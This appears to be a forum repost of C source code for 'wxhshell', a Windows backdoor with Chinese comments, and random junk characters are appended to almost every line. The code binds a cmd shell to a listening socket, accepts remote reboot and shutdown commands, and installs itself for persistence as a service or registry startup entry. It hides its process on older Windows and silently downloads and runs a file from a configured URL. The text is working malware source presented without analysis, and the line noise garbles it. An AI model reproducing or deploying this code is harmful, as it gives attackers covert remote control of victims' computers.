  else { N}1-2  
.y(@Y6hO  
    switch(cmd[0]) { ^W{eO@  
  Is~yVB02  
  // 帮助 f(W,m >.;  
  case '?': { &<OMGGQ[h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ; vhnA$'a  
    break; ob)D{4B'  
  } 7{8)ykBU^  
  // 安装 13]y)(  
  case 'i': { 34^Q5B~^J  
    if(Install()) SwQOFE/Dv~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @V*au:  
    else U@MOvW)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Jt8d|UP  
    break; cbY3mSfn*  
    }  &s_}u%iC  
  // 卸载 96k(X LR  
  case 'r': { ~c'\IM  
    if(Uninstall()) + >Fv*lux  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j= p|'`  
    else DDZTqsws  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qRWJ-T:!F  
    break; 047*gn.b  
    } (p'/p  
  // 显示 wxhshell 所在路径 0!)U *+j,  
  case 'p': { -U&098}<K  
    char svExeFile[MAX_PATH]; qrOB_Nz  
    strcpy(svExeFile,"\n\r"); ([ E#zrz%  
      strcat(svExeFile,ExeFile); 4_Tb)?L+:  
        send(wsh,svExeFile,strlen(svExeFile),0); !G@V<'F  
    break; p` ^:Q*C"  
    } t/_\U =i$  
  // 重启 ei(| 5h  
  case 'b': { R#r h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \Gv-sA  
    if(Boot(REBOOT)) s"gKonwI2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 15RI(BN   
    else { U Ek |8yq  
    closesocket(wsh); 7UY('Q[  
    ExitThread(0); pyGFDB5_P  
    } &FT5w T  
    break; *s 1D\/H  
    } ,<I L*=a  
  // 关机 pvK \fSr  
  case 'd': { 1j_aH#Fz:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }C9VTJs|  
    if(Boot(SHUTDOWN)) &n,xGIG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' h0\4eu  
    else { /6?tgr  
    closesocket(wsh); eU<]h>2  
    ExitThread(0); w/)e2CH  
    } ;w>Q{z  
    break; KI^q 5D ?  
    } @*AYm-k  
  // 获取shell B`t)rBy  
  case 's': {  'lSnyW{  
    CmdShell(wsh); %> oT7|x  
    closesocket(wsh); U<#$w{d:  
    ExitThread(0); hA$c.jJr.Z  
    break; Vw6>:l<+<  
  } T(t <Ay?c  
  // 退出 G*kXWEx  
  case 'x': { qhv4R|)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); il 8A&`%  
    CloseIt(wsh); P W0q71  
    break; w0F:%:/  
    } m7bn%j-{$f  
  // 离开 |^>L`6uo  
  case 'q': { ^$ g],PAY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A@fshWrl%  
    closesocket(wsh); J?UZN^  
    WSACleanup(); "1=.5:yG  
    exit(1); D~t"9Z\  
    break; E#WjoIk  
        } }-k_?2"A  
  } 98<bF{#0WM  
  } h[M6.  
AOq9v~)z-  
  // 提示信息 3:z4M9f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U[H+87zg  
} ~50y-  
  } BdRE*9.0  
_AsHw  
  return; D:S6Mu  
} j.G.Mx"  
>8.v.;`  
// shell模块句柄 ;8 /+wBnm  
int CmdShell(SOCKET sock) +)''l  
{  `i_L?C7  
STARTUPINFO si; ~ Iu21Q(*  
ZeroMemory(&si,sizeof(si)); /I`!i K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %$!R]B)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9Le/'ovq  
PROCESS_INFORMATION ProcessInfo; v\r7.l:hf  
char cmdline[]="cmd"; R-0_226  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 071E%u,  
  return 0; NC[GtAPD3  
} SFXfo1dqH  
[f0oB$  
// 自身启动模式 )e <! =S  
int StartFromService(void) zN8&M<mTl  
{ ^`B##9g~  
typedef struct E?;T:7.%  
{ _sCJ3ZJ  
  DWORD ExitStatus; ^~*[~  
  DWORD PebBaseAddress; $=S'#^Z  
  DWORD AffinityMask; cVv4gQD\  
  DWORD BasePriority; (tz_D7c$F  
  ULONG UniqueProcessId; }tS6Z:fOY  
  ULONG InheritedFromUniqueProcessId; Ke;X3j ]`  
}   PROCESS_BASIC_INFORMATION; 5;i!PuL  
k(vEp ]  
PROCNTQSIP NtQueryInformationProcess; xs83S.fHg  
!xx> lX5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \p=W4W/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `!>dbR&1  
Jr*S2 z<*  
  HANDLE             hProcess; U{:(j5m  
  PROCESS_BASIC_INFORMATION pbi; Z2pN<S{5  
\w@_(4")Qb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Rs( CrB/M  
  if(NULL == hInst ) return 0; :6Pc m3  
q4#f *]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y|qixpP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9OO_Hp#|9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^: rNoo  
GJl@ag5h]!  
  if (!NtQueryInformationProcess) return 0; +8@`lDnr  
&l!{!f4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); po](6V  
  if(!hProcess) return 0; { ves@p>?  
35]G_\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >cr_^(UW&  
>Qbc(}w  
  CloseHandle(hProcess); ?U9d3] W  
p9] 7g%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2ZzD^:V[}  
if(hProcess==NULL) return 0; +hvIJv ?  
"!_ 4%z-  
HMODULE hMod; U(&nh ?  
char procName[255]; '|A5a+[  
unsigned long cbNeeded; xvz5\s|b  
; K 6Fe)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6L`+ z  
]OCJ~Zw  
  CloseHandle(hProcess); -L4G WJ~.-  
%F]9^C+  
if(strstr(procName,"services")) return 1; // 以服务启动 n4_:#L?  
'rq#q)1MT  
  return 0; // 注册表启动 E{]|jPdr  
} 'Tan6 Qa  
,IZxlf%  
// 主模块 $CYpO}u#  
int StartWxhshell(LPSTR lpCmdLine) Wj{Rp{}3  
{ i,b7Ft:F&  
  SOCKET wsl; ^@5ui;JV  
BOOL val=TRUE; uW-- nXMs  
  int port=0; _Ag/gu2-?  
  struct sockaddr_in door; ~FCSq:_  
JLV}Fw  
  if(wscfg.ws_autoins) Install(); AL$ Ty  
gW pT:tX-  
port=atoi(lpCmdLine); jvQ+u L  
wj :3  
if(port<=0) port=wscfg.ws_port; HtXBaIl\  
0<]!G|;|  
  WSADATA data; E `j5y(44  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /$.vHt 5nt  
@ un  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;gu>;_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }GNH)-AG)$  
  door.sin_family = AF_INET; sluZ-,zE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J ]^gF|  
  door.sin_port = htons(port); A%8`zR  
l|tp0[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3% 4Mq6Q`  
closesocket(wsl); D.Cs nfJ  
return 1;  Dmv  
} $cpQ7  
kkBV;v%a  
  if(listen(wsl,2) == INVALID_SOCKET) { =28H^rK{  
closesocket(wsl); 1eyyu!  
return 1; BG?2PO{  
} h _7;UQH  
  Wxhshell(wsl); KA{DN!  
  WSACleanup(); GvtI-\h]  
V5@[7ncVf  
return 0; ue:P#] tx  
vKOn7  
} 6{r[Dq  
/ZN5WK  
// 以NT服务方式启动 AdS_-Cm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sU_4+Mk  
{ c&?H8G)x  
DWORD   status = 0; )"3oe ?  
  DWORD   specificError = 0xfffffff; ,) jB<`  
x4A~MuGU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wQS w&G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jqsktJw#i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @.@#WHde  
  serviceStatus.dwWin32ExitCode     = 0; i-vJ&}}  
  serviceStatus.dwServiceSpecificExitCode = 0; tsC|R~wW  
  serviceStatus.dwCheckPoint       = 0; eKti+n.  
  serviceStatus.dwWaitHint       = 0; 2DqHqq9m  
SK}g(X7IWH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kQ'xs%Fw  
  if (hServiceStatusHandle==0) return; ? /X6x1PN  
MC)W?  
status = GetLastError(); J0mCWtx&  
  if (status!=NO_ERROR) dQ~"b=  
{ ]Tw6Fg1o>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QN a3S*  
    serviceStatus.dwCheckPoint       = 0; g UAPjR  
    serviceStatus.dwWaitHint       = 0; qa`(,iN  
    serviceStatus.dwWin32ExitCode     = status; A-!qO|E[-  
    serviceStatus.dwServiceSpecificExitCode = specificError; R$m?&1K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /,%o<Ql9  
    return; ~e~Mx=FT0  
  } $=SYssg7La  
^M5uLm-_s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "8TMAF|i4  
  serviceStatus.dwCheckPoint       = 0; a2_IF,p*?  
  serviceStatus.dwWaitHint       = 0; \~j(ui|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]_xGVwem  
} 0]0M>vx u  
`ViNSr):J  
// 处理NT服务事件,比如:启动、停止 :>ST)Y@]w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) < io8 b|A  
{ %= ;K>D  
switch(fdwControl) w7V W   
{ SFNd,(kB*z  
case SERVICE_CONTROL_STOP: DOU?e9I2  
  serviceStatus.dwWin32ExitCode = 0; 7+r5?h|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .[85<"C  
  serviceStatus.dwCheckPoint   = 0; LbI])M  
  serviceStatus.dwWaitHint     = 0; 1Nu`@)D0  
  { (uz!:dkvx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CPM6T$_qE  
  } 3? CpylCO  
  return; R}<s~` Pl  
case SERVICE_CONTROL_PAUSE: JY8pV+q @=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]h$TgX  
  break; p5t#d)  
case SERVICE_CONTROL_CONTINUE: /`@>v$oo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fpwh.R:yV  
  break; S$/3Kq  
case SERVICE_CONTROL_INTERROGATE: t^;Fq{>  
  break; SntYi0,`  
}; *heQ@ww  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D];([:+4  
} cSDCNc*%  
Z}StA0F_  
// 标准应用程序主函数 Fa^]\:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p}X87Zq  
{ - $/{V&?t  
!Shh$iz  
// 获取操作系统版本 r26Wysi~%  
OsIsNt=GetOsVer(); >maz t=,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gcF><i6  
BEx^IQ2  
  // 从命令行安装 C}E ea~  
  if(strpbrk(lpCmdLine,"iI")) Install(); <9ph c  
a8c]B/  
  // 下载执行文件 Rx2|VD  
if(wscfg.ws_downexe) { PyE<`E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #+nv,?@  
  WinExec(wscfg.ws_filenam,SW_HIDE); <N&f >7  
} DL{a8t1L  
F\<i>LWT'  
if(!OsIsNt) { Sp:de,9@  
// 如果时win9x,隐藏进程并且设置为注册表启动 .?:~s8kB  
HideProc(); }1 ^.A84a  
StartWxhshell(lpCmdLine); ~;Kl/Z  
} o 4wKu  
else .p_$]  
  if(StartFromService()) ![jP)WgF  
  // 以服务方式启动 v 0H#\p  
  StartServiceCtrlDispatcher(DispatchTable); -3 Hq1  
else Mpx.n]O.  
  // 普通方式启动 xoaQ5u  
  StartWxhshell(lpCmdLine);  JwcP[w2  
!1R  
return 0; <{uIB;P  
}
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只看该作者 1 发表于: 2006-10-10
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